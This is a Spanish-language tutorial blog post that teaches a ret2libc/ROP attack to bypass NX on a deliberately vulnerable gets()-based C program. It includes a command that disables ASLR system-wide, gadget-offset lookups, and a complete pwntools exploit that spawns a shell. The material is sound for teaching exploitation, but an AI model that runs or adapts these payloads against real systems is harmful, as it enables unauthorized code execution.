Bypass NX via ret2libc

Table of contents

  1. ¿Que es ret2libc?
    1. ¿Por que usamos ret2libc?
  2. No Executable (NX)
  3. Un poco de Return Oriented Programming (ROP)
    1. ¿Que es ROP?
    2. Gadgets
  4. Analizando el binario
  5. Explicando el payload que usaremos
  6. Desbordando el buffer y calculando el offset del RIP
  7. Consiguiendo la direccion de libc
    1. Usando el comando ldd
  8. Consiguiendo los offset de RET, POP RDI RET, /bin/sh y system()
    1. Offset de RET
    2. Offset de pop rdi; ret
    3. Offset de /bin/sh
    4. Offset de system()
  9. Creando nuestro exploit y ejecutandolo

En este articulo veremos como realizar un ataque con una tecnica llamada ret2libc para hacer bypass del NX haciendo uso de ROP

¿Que es ret2libc?

Es una tecnica para ejecutar codigo en la memoria apuntando a funciones de la libreria libc, por ejemplo, cuando se hace un programa en C con las funciones system, printf, put, esas funciones se compilan en un archivo de la libreria libc, entonces tenemos que apuntar a funciones de esa libreria

¿Por que usamos ret2libc?

Esta tecnica la usamos cuando con el RIP o EIP no podemos a apuntar a una direccion arbitraria para ejecutar una shellcode, esto occurre ya que tiene el NX activado.

Como vemos al parecer esta tecnica es similar a un bof stack-based comun, pero en vez de cambiar el RIP por una direccion que apunte a nuestra shellcode, lo que estamos haciendo es que apunte a direcciones de la libreria libc, mas adelante explicare nuestro payload y el por que.

No Executable (NX)

El NX o No executable, lo que hace es marcar el stack como no ejecutable, es decir que ahora en el stack nuestras entradas no se pueden ejecutar como codigo osea una shellcode, entonces si tomamos el control del RIP no vamos a poder redirigir el flujo del programa al RSP.

Un poco de Return Oriented Programming (ROP)

¿Que es ROP?

Es una tecnica usada para utilizar pequeñas secuencias de intrucciones llamados gadgets con el fin de ejecutar operaciones arbitrarias, esto funciona ya que obtenermos el control de call stack para secuestrar el flujo del programa y luego ejecutar los gadgets

Gadgets

Son las secuencias de instrucciones que terminan con la intruccion ret, el gadget que vamos a usar es este: pop rdi; ret

Analizando el binario

Compilacion: gcc -no-pie -fno-stack-protector ret2libc.c -o ret2libc

#include<stdio.h>
#include<string.h>

void vuln();

int main(int argc, char *argv[]){
        printf("Input: ");
        vuln();
}

void vuln(){
        char buffer[64];
        gets(buffer);
}

Como vemos nuestro binario solo tiene la funcion main que esta imprimiendo un input y llamando a la funcion vuln y en esa funcion tenemos un buffer de 64 declarado como char buffer[64]; y para obtener los datos del input se esta usando la funcion gets y los guarda en el buffer, es bastante explicita la parte que es vulnerable del programa pero aun asi la explicare

El programa es vulnerable por que se esta usando la funcion getsy esto es por que esa funcion no le importa cuantos datos le mandemos aun asi los guardara, es decir que si tenemos un buffer de 64 y a travez de la funcion gets le mandamos 100, esos 100 aun asi los guardara, de hecho podemos ver la manpage de gets con este comando man 3 gets y bajando a la seccion de bugs nos dice algo como esto:

BUGS
       Never use gets().  Because it is impossible to tell without knowing the data in advance how many characters gets()  will  read,  and
       because  gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use.  It has been used to
       break computer security.  Use fgets() instead.

       For more information, see CWE-242 (aka "Use of Inherently Dangerous Function") at http://cwe.mitre.org/data/definitions/242.html

Ahora con el comando checksec vamos a ver las protecciones del binario y nos debe de salir algo asi

[*] '/home/omarh/Documentos/ExplotacionBinaria/ret2libC/ret2libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Como vemos tiene la proteccion NX activada, asi que no podemos ejecutar codigo en el stack.

Explicando el payload que usaremos

Nuestro payload es el siguiente:

|------|-----|--------------|---------|----------|
| junk | ret | pop rdi; ret | /bin/sh | system() |
|------|-----|--------------|---------|----------|
  • Junk: esto es para llenar el buffer de 64 que tenemos
  • ret: Direccion de ret, en otros casos esto no es necesario sin embargo esta vez lo usaremos por cuestiones de stack alignment
  • pop rdi; ret, ok esto es nuestro gadget y lo usaremos ya que esto nos va a servir para meter cualquier cosa al registro RDI y tomando en cuenta las calling conventions el registro RDI es el primero que se manda como argumento, lo que meteremos a rdi es la direccion de /bin/sh que tambien va a ser lo que le pasaremos a system para que ejecute

Explicare mas a detalle como funciona lo de pop rdi; ret, imaginemos que queremos usar pop rdi; ret para ingresar a rdi el valor de 0x10 y luego saltar a una funcion llamada funcion1

A tomar en cuenta: Cuando se sobreescribe el RET tambien se sobreescribe el valor al que apunta RSP

Entonces ahora si empezamos, tenemos lo siguiente:

|--------------|
|     junk     |
|--------------|
| pop rdi; ret | --> Direccion de pop rdi; ret
|--------------|
|     0x10     | --> El valor que meteremos a rdi
|--------------|
|   funcion1   |
|--------------|

Ahora sobreescribimos el RIP por la direccion de ret, entonces RSP se mueve a la direccion de pop rdi; ret, lo que pasaria seria algo com esto ret rip rsp y nuestro layout queda asi:

|--------------|                            gadget
|     junk     |                         |---------|  
|--------------|                         |   ret   |  <---- RIP
| pop rdi; ret | --> RSP apunta aca      |---------|
|--------------|
|     0x10     |
|--------------|
|   funcion1   |
|--------------|

Ahora RSP apuntara a 0x10 y nuestro RIP ahora apunta a POP RDI, entonces ahora si 0x10 se movera a rdi, el layot queda asi:

|--------------|                              Gadget
|     junk     |                            |---------|
|--------------|                    RIP --> | pop rdi |
| pop rdi; ret |                            |---------|
|--------------|                            |   ret   |
|     0x10     | --> RSP apunta aca         |---------|
|--------------|
|   funcion1   |
|--------------|

Y bueno ahora RSP pasara los siguientes elementos del stack ejecutando la funcion funcion1 y el layout queda asi

|--------------|
|     junk     |
|--------------|
| pop rdi; ret | 
|--------------|
|     0x10     |
|--------------|
|   funcion1   | --> RSP apunta aca
|--------------|

Dejemos este ejemplo de lado y ahora pasaremos a ver como queda el layout tomando en cuenta nuestro payload

  layout normal        layout modificado
|---------------|      |--------------| 
|    funcion    | -->  |    system()  | --> direccion de system
|---------------|      |--------------|
|   parametros  | -->  |    /bin/sh   | --> direccion de /bin/sh
|---------------|      |--------------|
|      RET      | -->  | pop rdi; ret | --> direccion de pop rdi; ret
|---------------|      |--------------|
|      RBP      | -->  |      ret     | --> direccion de ret
|---------------|      |--------------|
|     buffer    | -->  |     junk     | --> caracteres para llenar el buffer
|---------------|      |--------------|
|               |      |              |
|---------------|      |--------------|

Y ahora si que ya se explico esto ya podemos empezar a sacar todo lo que necesitamos

Desbordando el buffer y calculando el offset del RIP

Ya no profundizare mucho en esto ya que esta el post de BoF stack-based donde si lo hago

Para esta practica desactivaremos el ASRL con este comando:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 

Comenzaremos a debuggear el programa con el comando gdb -q ./ret2libc , en mi caso usare gdb con gef, te dejo el link del repo de gef por si lo quieres instalar

https://github.com/hugsy/gef.git

Gef tiene un comando que se llama pattern create para generar una serie de caracteres que nos ayudaran a calcular los offsets, asi que le pasaremos ese comando de esta manera pattern create 100 y nos generara 100 caracteres, ahora ejecutaremos el binario pasandole esos 100 caracteres como input, como podemos ver nuestro RSP ahora vale:

*RSP 0x7fffffffda68 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa'

Ahora usaremos otro comando que tiene gef que se llama patter offset para calcular el offset del RSP, ingresamos lo siguiente

patter offset jaaaaaaa

Esto nos debe de dar algo como esto

[+] Searching for 'jaaaaaaa'
[+] Found at offset 72 (little-endian search) likely
[+] Found at offset 65 (big-endian search) 

Vemos como el desplazamiento para llegar al RIP es 72. Para esta practica usaremos el offset 72 que corresponde a little-endian

Consiguiendo la direccion de libc

Ahora pasaremos a conseguir la direccion de libc ya que esto nos ayudara a conseguir la direccion real de los offsets de ret, pop rdi; ret, /bin/sh y system()

Para eso podemos usar el comando info proc mappings el cual nos mostrara todas las regiones de la memoria mapeadas

Vemos como la direccion que tengo seleccionada es la direccion del comienzo de la libreria libc y esa es la que usaremos.

Usando el comando ldd

Tambien podemos sacar la direccion de libc usando el comando ldd pasandole como argumento nuestro binario, asi que el comando queda asi ldd ret2libc, esto nos da como resultado lo siguiente

	linux-vdso.so.1 (0x00007ffff7fc4000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7c00000) --> Esta es la direccion de libc
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc6000)

La direccion que corresponde a libc la indique con una flecha, y esa direccion es la misma que la que sacamos con el comando info proc mappings simplemente con unos 0 demas (podemos usar la que sea de las 2).

Consiguiendo los offset de RET, POP RDI RET, /bin/sh y system()

Ahora viene la parte de sacar los offsets de RET, POP RDI RET, /bin/sh y system()

Offset de RET

Para sacar el offset de ret usare una herramienta llamada Ropper, les dejo el gitub de su repo para que la instalen https://github.com/sashs/Ropper.git

Pondremos este comando para conseguir el offset de ret

ropper --file /usr/lib/libc.so.6 --search "ret"

Tenemos que indicar la ruta de la libreria libc la cual la podemos ver tambien cuando ingresamos el comando ldd ret2libc y depues usamos --search para buscar ret y si ejecutamos nos sale algo como esto:

Debemos de selecionar el offset en el cual solo tenga la cadena ret:, en mi caso yo seleccione esa que esta seleccionada en la imagen, entonces el offset es esto

0x0000000000102ea4

Offset de pop rdi; ret

Para sacar el offset de pop rdi; ret usamos el mismo comando solo que al final en lo que queremos buscar le cambiamos a pop rdi y queda asi

ropper --file /usr/lib/libc.so.6 --search "pop rdi"

Esto nos imprime lo siguiente

Y de nuevo, seleccionare el que muestro ahi en pantalla, asi que el offset es:

0x0000000000029835

Offset de /bin/sh

Para sacar el offset de /bin/sh usaremos el comando strings para buscar en el archivo de libc la cadena /bin/sh , el comando queda asi

strings -a -t x /usr/lib/libc.so.6 | grep "/bin/sh"

Esto nos da como resultado: 1bb26a /bin/sh

Offset de system()

Usare el comando readelf para buscar por system en el archivo de la libreria libc y el comando queda asi:

readelf -s libc.so.6 | grep system

Esto nos imprime:

1481: 000000000004ba40    45 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.2.5

Donde el offset es: 000000000004ba40

Creando nuestro exploit y ejecutandolo

Ya que tenemos todos los offset solo tenemos que armar todo y el exploit queda asi

from pwn import *

p = process("./ret2libc") 

libc = 0x7ffff7c00000
pop_rdi = 0x0000000000029835
bin_sh = 0x1bb26a
system = 0x000000000004ba40
ret = 0x0000000000102ea4

payload = b"A" * 72
payload += p64(libc + ret) 
payload += p64(libc + pop_rdi)
payload += p64(libc + bin_sh)
payload += p64(libc + system)

p.sendline(payload)
p.interactive()

Se pueden dar cuenta que se esta sumando la direccion de libc con los offsets de pop rdi, bin/sh, system, y ret, esto es para que nos saque la direccion real, tambien usamos “p64” para transformar esas direcciones a little endian de 64 bits, ahora ejecutamos y vemos como obtuvimos una shell

Eso ha sido todo, gracias por leer ❤